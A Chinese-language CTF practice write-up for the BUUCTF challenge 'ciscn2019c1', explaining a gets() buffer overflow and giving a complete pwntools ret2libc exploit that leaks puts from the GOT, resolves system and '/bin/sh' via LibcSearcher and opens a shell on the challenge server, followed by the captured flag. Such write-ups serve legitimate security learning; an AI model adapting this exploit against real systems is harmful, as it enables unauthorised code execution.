导语

pillar的刷题日记

ciscn2019c1

首先checksec,64位,开启了NX

img

然后运行一下

img

是一个加密解密的东西。用ida打开,shift+F12,没有可看到 bin/sh/。读一读代码,在encrypt过程里找到了gets(),可以溢出。

img

由于没有现成的/bin/sh,也没有system函数,所以我们利用gets函数来实现ret2libc

img

利用ROPgadget找到ret和pop rdi的地址

img

img

exp

		from pwn import *
from LibcSearcher import *

context.os='linux'
context.arch='amd64'
context.log_level='debug'

ru=lambda x:sh.recvuntil(x)
rl=lambda :sh.recvline()
sla=lambda x,y:sh.sendlineafter(x,y)

sh=remote('node4.buuoj.cn',26737)
elf=ELF(r'asd')

ret=0x4006b9 # 用ROPgadget得到的两个地址
pop_rdi=0x400c83

main=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']


sla('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)
payload+=p64(pop_rdi) # 64位程序优先寄存器传参,顺序为 rdi rsi rdx rcx r8 r9
payload+=p64(puts_got) # 使puts的got表值作为参数
payload+=p64(puts_plt) # 返回值为调用puts
payload+=p64(main) # 返回main继续利用

sla('encrypted\n',payload)

rl()
rl()
puts_addr=u64(sh.recvuntil('\n')[:-1].ljust(8,'\0'))
# print hex(puts_addr)

libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')

sla("choice!\n",'1')
payload='\0'+'a'*(0x50-1+8)
payload+=p64(ret) # 堆栈平衡
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system)

sla('encrypted\n',payload)
sh.interactive()

img

img

flag{26f5b361-8b21-42da-9324-4c3c8c3e2ba6}

参考:https://blog.csdn.net/mcmuyanga/article/details/108224907